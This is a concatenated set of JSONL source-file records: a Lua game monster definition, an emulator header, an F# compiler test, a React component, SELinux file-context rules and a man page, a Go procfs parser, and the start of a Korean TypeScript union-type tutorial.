XFS_ICI_COWBLOCKS_TAG);\n}\n"} {"text": "local mType = Game.createMonsterType(\"Wolf\")\nlocal monster = {}\n\nmonster.description = \"a wolf\"\nmonster.experience = 18\nmonster.outfit = {\n\tlookType = 27,\n\tlookHead = 0,\n\tlookBody = 0,\n\tlookLegs = 0,\n\tlookFeet = 0,\n\tlookAddons = 0,\n\tlookMount = 0\n}\n\nmonster.health = 25\nmonster.maxHealth = 25\nmonster.race = \"blood\"\nmonster.corpse = 5968\nmonster.speed = 164\nmonster.summonCost = 255\nmonster.maxSummons = 0\n\nmonster.changeTarget = {\n\tinterval = 4000,\n\tchance = 0\n}\n\nmonster.strategiesTarget = {\n\tnearest = 100,\n}\n\nmonster.flags = {\n\tsummonable = true,\n\tattackable = true,\n\thostile = true,\n\tconvinceable = true,\n\tpushable = true,\n\trewardBoss = false,\n\tillusionable = true,\n\tcanPushItems = false,\n\tcanPushCreatures = false,\n\tstaticAttackChance = 90,\n\ttargetDistance = 1,\n\trunHealth = 8,\n\thealthHidden = false,\n\tcanWalkOnEnergy = false,\n\tcanWalkOnFire = false,\n\tcanWalkOnPoison = false\n}\n\nmonster.light = {\n\tlevel = 0,\n\tcolor = 0\n}\n\nmonster.voices = {\n\tinterval = 5000,\n\tchance = 10,\n\t{text = \"Yoooohhuuuu!\", yell = false},\n\t{text = \"Grrrrrrr\", yell = false}\n}\n\nmonster.loot = {\n\t{id = \"meat\", chance = 55000, maxCount = 2},\n\t{id = \"wolf paw\", chance = 980}\n}\n\nmonster.attacks = {\n\t{name =\"combat\", type = COMBAT_PHYSICALDAMAGE, interval = 2000, chance = 100, minDamage = 0, maxDamage = -20, effect = CONST_ME_DRAWBLOOD}\n}\n\nmonster.defenses = {\n\tdefense = 5,\n\tarmor = 5\n}\n\nmonster.elements = {\n\t{type = COMBAT_PHYSICALDAMAGE, percent = 0},\n\t{type = COMBAT_ENERGYDAMAGE, percent = 0},\n\t{type = COMBAT_EARTHDAMAGE, percent = 5},\n\t{type = COMBAT_FIREDAMAGE, percent = 0},\n\t{type = COMBAT_LIFEDRAIN, percent = 0},\n\t{type = COMBAT_MANADRAIN, percent = 0},\n\t{type = COMBAT_DROWNDAMAGE, percent = 0},\n\t{type = COMBAT_ICEDAMAGE, percent = -5},\n\t{type = COMBAT_HOLYDAMAGE , percent = 5},\n\t{type = COMBAT_DEATHDAMAGE , percent = -5}\n}\n\nmonster.immunities = {\n\t{type = \"paralyze\", condition = false},\n\t{type = \"outfit\", condition = false},\n\t{type = \"invisible\", condition = false},\n\t{type = \"bleed\", condition = false}\n}\n\nmType:register(monster)\n"} {"text": "// Sega Genesis/Mega Drive GYM music file emulator\r\n// Performs PCM timing recovery to improve sample quality.\r\n\r\n// Game_Music_Emu $vers\r\n#ifndef GYM_EMU_H\r\n#define GYM_EMU_H\r\n\r\n#include \"Dual_Resampler.h\"\r\n#include \"Ym2612_Emu.h\"\r\n#include \"Music_Emu.h\"\r\n#include \"Sms_Apu.h\"\r\n\r\nclass Gym_Emu : public Music_Emu {\r\npublic:\r\n\t\r\n\t// GYM file header (optional; many files have NO header at all)\r\n\tstruct header_t\r\n\t{\r\n\t\tenum { size = 428 };\r\n\t\t\r\n\t char tag [ 4];\r\n\t char song [ 32];\r\n\t char game [ 32];\r\n\t char copyright [ 32];\r\n\t char emulator [ 32];\r\n\t char dumper [ 32];\r\n\t char comment [256];\r\n\t byte loop_start [ 4]; // in 1/60 seconds, 0 if not looped\r\n\t byte packed [ 4];\r\n\t};\r\n\t\r\n\t// Header for currently loaded file\r\n\theader_t const& header() const { return header_; }\r\n\t\r\n\tstatic gme_type_t static_type() { return gme_gym_type; }\r\n\t\r\n\t// Disables running FM chips at higher than normal rate. Will result in slightly\r\n\t// more aliasing of high notes.\r\n\tvoid disable_oversampling( bool disable = true ) { disable_oversampling_ = disable; }\r\n\r\n\tblargg_err_t hash_( Hash_Function& ) const;\r\n\t\r\n// Implementation\r\npublic:\r\n\tGym_Emu();\r\n\t~Gym_Emu();\r\n\r\nprotected:\r\n\tvirtual blargg_err_t load_mem_( byte const [], int );\r\n\tvirtual blargg_err_t track_info_( track_info_t*, int track ) const;\r\n\tvirtual blargg_err_t set_sample_rate_( int sample_rate );\r\n\tvirtual blargg_err_t start_track_( int );\r\n\tvirtual blargg_err_t play_( int count, sample_t [] );\r\n\tvirtual void mute_voices_( int );\r\n\tvirtual void set_tempo_( double );\r\n\r\nprivate:\r\n\t// Log\r\n\tbyte const* pos; // current position\r\n\tbyte const* loop_begin;\r\n\tint log_offset; // size of header (0 or header_t::size)\r\n\tint loop_remain; // frames remaining until loop_begin has been located\r\n\tint clocks_per_frame;\r\n\r\n\tbool disable_oversampling_;\r\n\t\r\n\t// PCM\r\n\tint pcm_amp;\r\n\tint prev_pcm_count; // for detecting beginning/end of group of samples\r\n\tint pcm_enabled;\r\n\t\r\n\t// large objects\r\n\tDual_Resampler resampler;\r\n\tStereo_Buffer stereo_buf;\r\n\tBlip_Buffer * pcm_buf;\r\n\tYm2612_Emu fm;\r\n\tSms_Apu apu;\r\n\tBlip_Synth_Fast pcm_synth;\r\n\theader_t header_;\r\n\t\r\n\tbyte const* log_begin() const { return file_begin() + log_offset; }\r\n\tvoid parse_frame();\r\n\tvoid run_pcm( byte const in [], int count );\r\n\tint play_frame( blip_time_t blip_time, int sample_count, sample_t buf [] );\r\n\tstatic int play_frame_( void*, blip_time_t, int, sample_t [] );\r\n};\r\n\r\n#endif\r\n"} {"text": "// #Regression #Conformance #ObjectOrientedTypes #Classes \n\n\n// FSB 1272, New-ing a sub class with unimplemented abstract members should not be allowed.\n\n//<Expects id=\"FS0054\" status=\"error\" span=\"(12,6)\">This type is 'abstract' since some abstract members have not been given an implementation\\. If this is intentional then add the '\\[<AbstractClass>\\]' attribute to your type</Expects>\n//<Expects id=\"FS0365\" status=\"error\" span=\"(12,6)\">No implementation was given for 'abstract member Foo\\.f : int -> int'</Expects>\n//<Expects id=\"FS0054\" status=\"error\" span=\"(17,6)\">This type is 'abstract' since some abstract members have not been given an implementation\\. If this is intentional then add the '\\[<AbstractClass>\\]' attribute to your type</Expects>\n//<Expects id=\"FS0365\" status=\"error\" span=\"(17,6)\">No implementation was given for 'abstract member Foo\\.f : int -> int'</Expects>\n\n\ntype Foo = class\n new () = {}\n abstract f : int -> int\nend\n\ntype Bar = class\n inherit Foo\n new () = {}\nend\n\nlet x = new Bar ()\nlet y = x.f 1\n"} {"text": "import * as React from 'react';\nimport {NULL_FUNCTION} from 'polar-shared/src/util/Functions';\nimport {RGBColor} from './ColorButton';\nimport {ColorSelectorBox} from './ColorSelectorBox';\nimport {MUIPopper} from \"../../mui/menu/MUIPopper\";\nimport PaletteIcon from \"@material-ui/icons/Palette\";\nimport {deepMemo} from \"../../react/ReactUtils\";\n\ninterface IProps {\n\n /**\n * The role if this selector whether it's to change or select a color.\n */\n readonly role: 'change' | 'select';\n\n readonly className?: string;\n\n readonly style?: React.CSSProperties;\n\n readonly size?: string;\n\n readonly color: RGBColor;\n\n readonly onSelected?: (color: string) => void;\n\n}\n\nexport const ColorSelector = deepMemo((props: IProps) => {\n\n const onSelected = props.onSelected || NULL_FUNCTION;\n\n const [color, setColor] = React.useState<RGBColor>(props.color);\n\n function handleSelected(color: RGBColor) {\n setColor(color);\n onSelected(color);\n }\n\n return (\n // <Tooltip title={`Used to ${props.role} the color.`}>\n <MUIPopper size=\"small\"\n icon={<PaletteIcon/>}>\n\n <ColorSelectorBox selected={[color]}\n onSelected={handleSelected}/>\n\n </MUIPopper>\n // </Tooltip>\n );\n\n});\n"} {"text": "Manifest-Version: 1.0\nBundle-ManifestVersion: 2\nBundle-Name: Undoredo\nBundle-SymbolicName: de.vogella.rcp.undoredo; singleton:=true\nBundle-Version: 1.0.0.qualifier\nBundle-Activator: de.vogella.rcp.undoredo.Activator\nRequire-Bundle: org.eclipse.ui,\n org.eclipse.core.runtime\nBundle-ActivationPolicy: lazy\nBundle-RequiredExecutionEnvironment: JavaSE-1.6\n"} {"text": ".TH semanage_bool_set_local 3 \"4 January 2006\" \"ivg2@cornell.edu\" \"Libsemanage API documentation\"\n.SH \"NAME\"\nsemanage_bool_set_active \\- update an existing SELinux boolean in the currently active policy\n\n.SH \"SYNOPSIS\"\n.B #include <semanage/booleans_active.h>\n.br\n.sp\n.B extern int semanage_bool_set_active (\n.br\n.BI \"\tsemanage_handle_t *\" handle \",\"\n.br\n.BI \"\tconst semanage_bool_key_t *\" key \",\"\n.br\n.BI \"\tconst semanage_bool_t *\" data \");\"\n\n.SH \"DESCRIPTION\"\n.TP\n.B Behavior:\nThe set function will fail if no matching key is found in the local store. Otherwise, the provided object will replace the current one. When \n.BR semanage_commit \"(3)\" \nis invoked, changes will be written permanently into the local store, and will be loaded into policy. Validity of the object being added is checked at commit time. \n\n.TP\n.B Parameters:\nThe \n.I handle\nis used to track persistent state across semanage calls, and for error reporting. The\n.I key \nidentifies the \n.I data\nobject, which will be written into the store. The key are data are properties of the caller, and are not stored or modified internally.\n\n.TP\n.B Requirements:\nThis function requires an semanage connection to be established (see \n.BR semanage_connect \"(3)\"\n), and must be executed in a transaction (see \n.BR semanage_begin_transaction \"(3)\"\n).\n\n.SH \"RETURN VALUE\"\nIn case of failure, \\-1 is returned, and the semanage error callback is invoked, describing the error.\nOtherwise 0 is returned.\n\n.SH \"SEE ALSO\"\n.BR semanage_handle_create \"(3), \" semanage_begin_transaction \"(3), \" semanage_connect \"(3), \" semanage_commit \"(3). \"\n"} {"text": "\n#\n# /\n#\n/.*\t\t\t\tgen_context(system_u:object_r:default_t,s0)\n/\t\t\t-d\tgen_context(system_u:object_r:root_t,s0)\n/\\.journal\t\t\t<<none>>\n/afs\t\t\t-d\tgen_context(system_u:object_r:mnt_t,s0)\n/initrd\\.img.*\t\t-l\tgen_context(system_u:object_r:boot_t,s0)\n/vmlinuz.*\t\t-l\tgen_context(system_u:object_r:boot_t,s0)\n\nifdef(`distro_redhat',`\n/\\.autofsck\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/\\.autorelabel\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/\\.suspended\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/fastboot \t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/forcefsck \t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/fsckoptions \t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/halt\t\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/poweroff\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n')\n\nifdef(`distro_suse',`\n/success\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n')\n\n#\n# /boot\n#\n/boot\t\t\t-d\tgen_context(system_u:object_r:boot_t,s0)\n/boot/.*\t\t\tgen_context(system_u:object_r:boot_t,s0)\n/boot/\\.journal\t\t\t<<none>>\n/boot/efi(/.*)?/System\\.map(-.*)? -- gen_context(system_u:object_r:system_map_t,s0)\n/boot/lost\\+found\t-d\tgen_context(system_u:object_r:lost_found_t,mls_systemhigh)\n/boot/lost\\+found/.*\t\t<<none>>\n/boot/System\\.map(-.*)?\t--\tgen_context(system_u:object_r:system_map_t,s0)\n\n#\n# /emul\n#\n/emul\t\t\t-d\tgen_context(system_u:object_r:usr_t,s0)\n/emul/.*\t\t\tgen_context(system_u:object_r:usr_t,s0)\n\n#\n# /etc\n#\n/etc\t\t\t-d\tgen_context(system_u:object_r:etc_t,s0)\n/etc/.*\t\t\t\tgen_context(system_u:object_r:etc_t,s0)\n/etc/\\.fstab\\.hal\\..+\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/blkid(/.*)?\t\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/cmtab\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/fstab\\.REVOKE\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/ioctl\\.save\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/killpower\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/localtime\t\t-l\tgen_context(system_u:object_r:etc_t,s0)\n/etc/mtab\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/mtab~[0-9]*\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/mtab\\.tmp\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/mtab\\.fuselock\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/nohotplug\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/nologin.*\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n\n/etc/cups/client\\.conf\t--\tgen_context(system_u:object_r:etc_t,s0)\n\n/etc/ipsec\\.d/examples(/.*)?\tgen_context(system_u:object_r:etc_t,s0)\n\n/etc/network/ifstate\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n\n/etc/ptal/ptal-printd-like -- \tgen_context(system_u:object_r:etc_runtime_t,s0)\n\n/etc/sysconfig/hwconf\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/sysconfig/iptables\\.save -- gen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/sysconfig/firstboot --\tgen_context(system_u:object_r:etc_runtime_t,s0)\n\n/etc/zfs/zpool\\.cache\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n\nifdef(`distro_gentoo', `\n/etc/profile\\.env\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/csh\\.env\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/env\\.d/.*\t\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n')\n\nifdef(`distro_redhat',`\n/etc/rhgb(/.*)?\t\t-d\tgen_context(system_u:object_r:mnt_t,s0)\n')\n\nifdef(`distro_suse',`\n/etc/defkeymap\\.map\t--\tgen_context(system_u:object_r:etc_runtime_t,s0)\n/etc/rc\\.d/init\\.d/\\.depend.* -- gen_context(system_u:object_r:etc_runtime_t,s0)\n')\n\n#\n# HOME_ROOT\n# expanded by genhomedircon\n#\nHOME_ROOT\t\t-d\tgen_context(system_u:object_r:home_root_t,s0-mls_systemhigh)\nHOME_ROOT\t\t-l\tgen_context(system_u:object_r:home_root_t,s0)\nHOME_ROOT/\\.journal\t\t<<none>>\nHOME_ROOT/lost\\+found\t-d\tgen_context(system_u:object_r:lost_found_t,mls_systemhigh)\nHOME_ROOT/lost\\+found/.*\t<<none>>\n\n#\n# /initrd\n#\n# initrd mount point, only used during boot\n/initrd\t\t\t-d\tgen_context(system_u:object_r:root_t,s0)\n\n#\n# /lost+found\n#\n/lost\\+found\t\t-d\tgen_context(system_u:object_r:lost_found_t,mls_systemhigh)\n/lost\\+found/.*\t\t\t<<none>>\n\n#\n# /media\n#\n# Mount points; do not relabel subdirectories, since\n# we don't want to change any removable media by default.\n/media(/[^/]*)\t\t-l\tgen_context(system_u:object_r:mnt_t,s0)\n/media(/[^/]*)?\t\t-d\tgen_context(system_u:object_r:mnt_t,s0)\n/media/[^/]*/.*\t\t\t<<none>>\n/media/\\.hal-.*\t\t--\tgen_context(system_u:object_r:mnt_t,s0)\n\n#\n# /misc\n#\n/misc\t\t\t-d\tgen_context(system_u:object_r:mnt_t,s0)\n\n#\n# /mnt\n#\n/mnt(/[^/]*)\t\t-l\tgen_context(system_u:object_r:mnt_t,s0)\n/mnt(/[^/]*)?\t\t-d\tgen_context(system_u:object_r:mnt_t,s0)\n/mnt/[^/]*/.*\t\t\t<<none>>\n\n#\n# /net\n#\n/net\t\t\t-d\tgen_context(system_u:object_r:mnt_t,s0)\n\n#\n# /opt\n#\n/opt\t\t\t-d\tgen_context(system_u:object_r:usr_t,s0)\n/opt/.*\t\t\t\tgen_context(system_u:object_r:usr_t,s0)\n\n/opt/(.*/)?var/lib(64)?(/.*)?\tgen_context(system_u:object_r:var_lib_t,s0)\n\n#\n# /proc\n#\n/proc\t\t\t-d\t<<none>>\n/proc/.*\t\t\t<<none>>\n\n#\n# /run\n#\n/run\t\t\t-d\tgen_context(system_u:object_r:var_run_t,s0-mls_systemhigh)\n/run\t\t\t-l\tgen_context(system_u:object_r:var_run_t,s0)\n/run/shm\t\t-l\tgen_context(system_u:object_r:var_run_t,s0)\n/run/.*\t\t\t\t<<none>>\n\n#\n# /selinux\n#\n/selinux\t\t-d\t<<none>>\n/selinux/.*\t\t\t<<none>>\n\n#\n# /srv\n#\n/srv\t\t\t-d\tgen_context(system_u:object_r:var_t,s0)\n/srv/.*\t\t\t\tgen_context(system_u:object_r:var_t,s0)\n\n#\n# /tmp\n#\n/tmp\t\t\t-d\tgen_context(system_u:object_r:tmp_t,s0-mls_systemhigh)\n/tmp/.*\t\t\t\t<<none>>\n/tmp/\\.journal\t\t\t<<none>>\n\n/tmp/lost\\+found\t-d\tgen_context(system_u:object_r:lost_found_t,mls_systemhigh)\n/tmp/lost\\+found/.*\t\t<<none>>\n\n/tmp/systemd-private-[^/]+\t-d\tgen_context(system_u:object_r:tmp_t,s0-mls_systemhigh)\n/tmp/systemd-private-[^/]+/tmp\t-d\tgen_context(system_u:object_r:tmp_t,s0-mls_systemhigh)\n/tmp/systemd-private-[^/]+/tmp/.*\t<<none>>\n\n#\n# /usr\n#\n/usr\t\t\t-d\tgen_context(system_u:object_r:usr_t,s0)\n/usr/.*\t\t\t\tgen_context(system_u:object_r:usr_t,s0)\n/usr/\\.journal\t\t\t<<none>>\n\n/usr/doc(/.*)?/lib(/.*)?\tgen_context(system_u:object_r:usr_t,s0)\n\n/usr/etc(/.*)?\t\t\tgen_context(system_u:object_r:etc_t,s0)\n\n# Avoid calling m4's include by using en empty string\n/usr/include`'(/.*)?\t\tgen_context(system_u:object_r:usr_t,s0)\n\n/usr/lib/modules(/.*)?\t\tgen_context(system_u:object_r:modules_object_t,s0)\n\n/usr/local/\\.journal\t\t<<none>>\n\n/usr/local/etc(/.*)?\t\tgen_context(system_u:object_r:etc_t,s0)\n\n/usr/local/lost\\+found\t-d\tgen_context(system_u:object_r:lost_found_t,mls_systemhigh)\n/usr/local/lost\\+found/.*\t<<none>>\n\n/usr/lost\\+found\t-d\tgen_context(system_u:object_r:lost_found_t,mls_systemhigh)\n/usr/lost\\+found/.*\t\t<<none>>\n\n/usr/share/doc(/.*)?/README.*\t\tgen_context(system_u:object_r:usr_t,s0)\n/usr/share/docbook2X/xslt/man(/.*)?\tgen_context(system_u:object_r:usr_t,s0)\n\n/usr/tmp\t\t-d\tgen_context(system_u:object_r:tmp_t,s0-mls_systemhigh)\n/usr/tmp/.*\t\t\t<<none>>\n\nifdef(`distro_debian',`\n# on Debian /lib/init/rw is a tmpfs used like /run\n/usr/lib/init/rw(/.*)?\t\tgen_context(system_u:object_r:var_run_t,s0-mls_systemhigh)\n/run/resolvconf(/.*)? -d\tgen_context(system_u:object_r:etc_t,s0)\n')\n\nifndef(`distro_redhat',`\n/usr/local/src(/.*)?\t\tgen_context(system_u:object_r:src_t,s0)\n\n/usr/src(/.*)?\t\t\tgen_context(system_u:object_r:src_t,s0)\n/usr/src/kernels/.+/lib(/.*)?\tgen_context(system_u:object_r:usr_t,s0)\n')\n\n#\n# /var\n#\n/var\t\t\t-d\tgen_context(system_u:object_r:var_t,s0)\n/var/.*\t\t\t\tgen_context(system_u:object_r:var_t,s0)\n/var/\\.journal\t\t\t<<none>>\n\n/var/db/.*\\.db\t\t--\tgen_context(system_u:object_r:etc_t,s0)\n\n/var/ftp/etc(/.*)?\t\tgen_context(system_u:object_r:etc_t,s0)\n\n/var/lib(/.*)?\t\t\tgen_context(system_u:object_r:var_lib_t,s0)\n\n/var/lib/nfs/rpc_pipefs(/.*)?\t<<none>>\n\n/var/lock\t\t-d\tgen_context(system_u:object_r:var_lock_t,s0-mls_systemhigh)\n/var/lock\t\t-l\tgen_context(system_u:object_r:var_lock_t,s0)\n/var/lock/subsys\t-d\tgen_context(system_u:object_r:var_lock_t,s0-mls_systemhigh)\n/var/lock/.*\t\t\t<<none>>\n\n/var/log/lost\\+found\t-d\tgen_context(system_u:object_r:lost_found_t,mls_systemhigh)\n/var/log/lost\\+found/.*\t\t<<none>>\n\n/var/log/audit/lost\\+found -d\tgen_context(system_u:object_r:lost_found_t,mls_systemhigh)\n/var/log/audit/lost\\+found/.*\t<<none>>\n\n/var/lost\\+found\t-d\tgen_context(system_u:object_r:lost_found_t,mls_systemhigh)\n/var/lost\\+found/.*\t\t<<none>>\n\n/var/run\t\t-l\tgen_context(system_u:object_r:var_run_t,s0)\n\n/var/spool(/.*)?\t\tgen_context(system_u:object_r:var_spool_t,s0)\n/var/spool/postfix/etc(/.*)?\tgen_context(system_u:object_r:etc_t,s0)\n/var/spool/postfix/pid\t-d\tgen_context(system_u:object_r:var_run_t,s0)\n\n/var/tmp\t\t-d\tgen_context(system_u:object_r:tmp_t,s0-mls_systemhigh)\n/var/tmp\t\t-l\tgen_context(system_u:object_r:tmp_t,s0)\n/var/tmp/.*\t\t\t<<none>>\n/var/tmp/lost\\+found\t-d\tgen_context(system_u:object_r:lost_found_t,mls_systemhigh)\n/var/tmp/lost\\+found/.*\t\t<<none>>\n/var/tmp/systemd-private-[^/]+\t-d\tgen_context(system_u:object_r:tmp_t,s0-mls_systemhigh)\n/var/tmp/systemd-private-[^/]+/tmp\t-d\tgen_context(system_u:object_r:tmp_t,s0-mls_systemhigh)\n/var/tmp/systemd-private-[^/]+/tmp/.*\t<<none>>\n/var/tmp/vi\\.recover\t-d\tgen_context(system_u:object_r:tmp_t,s0)\n"} {"text": "// Copyright 2017 Prometheus Team\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage procfs\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// XfrmStat models the contents of /proc/net/xfrm_stat.\ntype XfrmStat struct {\n\t// All errors which are not matched by other\n\tXfrmInError int\n\t// No buffer is left\n\tXfrmInBufferError int\n\t// Header Error\n\tXfrmInHdrError int\n\t// No state found\n\t// i.e. either inbound SPI, address, or IPSEC protocol at SA is wrong\n\tXfrmInNoStates int\n\t// Transformation protocol specific error\n\t// e.g. SA Key is wrong\n\tXfrmInStateProtoError int\n\t// Transformation mode specific error\n\tXfrmInStateModeError int\n\t// Sequence error\n\t// e.g. sequence number is out of window\n\tXfrmInStateSeqError int\n\t// State is expired\n\tXfrmInStateExpired int\n\t// State has mismatch option\n\t// e.g. UDP encapsulation type is mismatched\n\tXfrmInStateMismatch int\n\t// State is invalid\n\tXfrmInStateInvalid int\n\t// No matching template for states\n\t// e.g. Inbound SAs are correct but SP rule is wrong\n\tXfrmInTmplMismatch int\n\t// No policy is found for states\n\t// e.g. Inbound SAs are correct but no SP is found\n\tXfrmInNoPols int\n\t// Policy discards\n\tXfrmInPolBlock int\n\t// Policy error\n\tXfrmInPolError int\n\t// All errors which are not matched by others\n\tXfrmOutError int\n\t// Bundle generation error\n\tXfrmOutBundleGenError int\n\t// Bundle check error\n\tXfrmOutBundleCheckError int\n\t// No state was found\n\tXfrmOutNoStates int\n\t// Transformation protocol specific error\n\tXfrmOutStateProtoError int\n\t// Transportation mode specific error\n\tXfrmOutStateModeError int\n\t// Sequence error\n\t// i.e sequence number overflow\n\tXfrmOutStateSeqError int\n\t// State is expired\n\tXfrmOutStateExpired int\n\t// Policy discads\n\tXfrmOutPolBlock int\n\t// Policy is dead\n\tXfrmOutPolDead int\n\t// Policy Error\n\tXfrmOutPolError int\n\tXfrmFwdHdrError int\n\tXfrmOutStateInvalid int\n\tXfrmAcquireError int\n}\n\n// NewXfrmStat reads the xfrm_stat statistics.\nfunc NewXfrmStat() (XfrmStat, error) {\n\tfs, err := NewFS(DefaultMountPoint)\n\tif err != nil {\n\t\treturn XfrmStat{}, err\n\t}\n\n\treturn fs.NewXfrmStat()\n}\n\n// NewXfrmStat reads the xfrm_stat statistics from the 'proc' filesystem.\nfunc (fs FS) NewXfrmStat() (XfrmStat, error) {\n\tfile, err := os.Open(fs.proc.Path(\"net/xfrm_stat\"))\n\tif err != nil {\n\t\treturn XfrmStat{}, err\n\t}\n\tdefer file.Close()\n\n\tvar (\n\t\tx = XfrmStat{}\n\t\ts = bufio.NewScanner(file)\n\t)\n\n\tfor s.Scan() {\n\t\tfields := strings.Fields(s.Text())\n\n\t\tif len(fields) != 2 {\n\t\t\treturn XfrmStat{}, fmt.Errorf(\n\t\t\t\t\"couldn't parse %s line %s\", file.Name(), s.Text())\n\t\t}\n\n\t\tname := fields[0]\n\t\tvalue, err := strconv.Atoi(fields[1])\n\t\tif err != nil {\n\t\t\treturn XfrmStat{}, err\n\t\t}\n\n\t\tswitch name {\n\t\tcase \"XfrmInError\":\n\t\t\tx.XfrmInError = value\n\t\tcase \"XfrmInBufferError\":\n\t\t\tx.XfrmInBufferError = value\n\t\tcase \"XfrmInHdrError\":\n\t\t\tx.XfrmInHdrError = value\n\t\tcase \"XfrmInNoStates\":\n\t\t\tx.XfrmInNoStates = value\n\t\tcase \"XfrmInStateProtoError\":\n\t\t\tx.XfrmInStateProtoError = value\n\t\tcase \"XfrmInStateModeError\":\n\t\t\tx.XfrmInStateModeError = value\n\t\tcase \"XfrmInStateSeqError\":\n\t\t\tx.XfrmInStateSeqError = value\n\t\tcase \"XfrmInStateExpired\":\n\t\t\tx.XfrmInStateExpired = value\n\t\tcase \"XfrmInStateInvalid\":\n\t\t\tx.XfrmInStateInvalid = value\n\t\tcase \"XfrmInTmplMismatch\":\n\t\t\tx.XfrmInTmplMismatch = value\n\t\tcase \"XfrmInNoPols\":\n\t\t\tx.XfrmInNoPols = value\n\t\tcase \"XfrmInPolBlock\":\n\t\t\tx.XfrmInPolBlock = value\n\t\tcase \"XfrmInPolError\":\n\t\t\tx.XfrmInPolError = value\n\t\tcase \"XfrmOutError\":\n\t\t\tx.XfrmOutError = value\n\t\tcase \"XfrmInStateMismatch\":\n\t\t\tx.XfrmInStateMismatch = value\n\t\tcase \"XfrmOutBundleGenError\":\n\t\t\tx.XfrmOutBundleGenError = value\n\t\tcase \"XfrmOutBundleCheckError\":\n\t\t\tx.XfrmOutBundleCheckError = value\n\t\tcase \"XfrmOutNoStates\":\n\t\t\tx.XfrmOutNoStates = value\n\t\tcase \"XfrmOutStateProtoError\":\n\t\t\tx.XfrmOutStateProtoError = value\n\t\tcase \"XfrmOutStateModeError\":\n\t\t\tx.XfrmOutStateModeError = value\n\t\tcase \"XfrmOutStateSeqError\":\n\t\t\tx.XfrmOutStateSeqError = value\n\t\tcase \"XfrmOutStateExpired\":\n\t\t\tx.XfrmOutStateExpired = value\n\t\tcase \"XfrmOutPolBlock\":\n\t\t\tx.XfrmOutPolBlock = value\n\t\tcase \"XfrmOutPolDead\":\n\t\t\tx.XfrmOutPolDead = value\n\t\tcase \"XfrmOutPolError\":\n\t\t\tx.XfrmOutPolError = value\n\t\tcase \"XfrmFwdHdrError\":\n\t\t\tx.XfrmFwdHdrError = value\n\t\tcase \"XfrmOutStateInvalid\":\n\t\t\tx.XfrmOutStateInvalid = value\n\t\tcase \"XfrmAcquireError\":\n\t\t\tx.XfrmAcquireError = value\n\t\t}\n\n\t}\n\n\treturn x, s.Err()\n}\n"} {"text": "---\ndescription: 유니온 타입을 이용해 “여러 경우 중 하나”인 타입을 표현할 수 있다.\n---\n\n# 3.7 유니온 타입\n\n### **동기부여**\n\n아래 함수를 한 번 살펴보자.\n\n```typescript\nfunction square(value: number, returnString: boolean = false): ??? {\n const squared = value * value;\n if (returnString) {\n return squared.toString();\n }\n return squared;\n}\n```\n\n함수 `square`는 숫자 타입 인자를 하나 받고, 불리언 타입 인자를 하나 더 받아 그 값에 따라 문자열 또는 숫자 타입의 값을 반환한다. 이 함수의 반환 타입은 어떻게 표현할 수 있을까? 일단 이 경우 반환 타입이 **인자의 타입이 아닌 값에 의존한다**. 따라서 제너릭으로는 표현하기 까다롭다 짐작할 수 있다.\n\n오버로딩을 이용하면 아래와 같이 표현은 가능하다. 하지만 하나의 타입을 제외하고 모든 부분이 똑같은데도 여러번 써야 해 비효율적이다. 게다가 오버로딩으로 함수를 정의한다 한들, 반환값을 할당하는 변수의 타입을 정의하기 어렵다는 문제가 남는다.\n\n```typescript\nfunction square(value: number, returnString: boolean): number;\nfunction square(value: number, returnString: boolean): string;\nfunction square(value, returnString = false) {\n /* 본문 동일 */\n}\nconst mystery: ??? = square(randomNumber, randomBoolean);\n```\n\n**어떤 타입이 가질 수 있는 경우의 수를 나열**할 때 사용하는 **유니온 타입**으로 이 함수의 반환 타입을 표현할 수 있다. \n\n### **문법**\n\n유니온 타입은 가능한 모든 타입을 파이프\\(`|`\\) 기호로 이어서 표현한다. “`A` 또는 `B` 타입일 수 있는 타입”을 `A | B` 로 쓰는 식이다. `square` 함수의 타입은 아래와 같이 적을 수 있다.\n\n```typescript\nfunction square(value: number, returnString: boolean = false): string | number {\n /* 본문 동일 */\n}\nconst stringOrNumber: string | number = square(randomNumber, randomBoolean);\n```\n\n타입 별칭 문법을 사용해 유니온 타입에 이름을 붙일 수 있다. 자주 사용되는 타입, 또는 인라인으로 작성하기에 너무 복잡한 타입의 경우 이 방식을 추천한다.\n\n```typescript\ntype SquaredType = string | 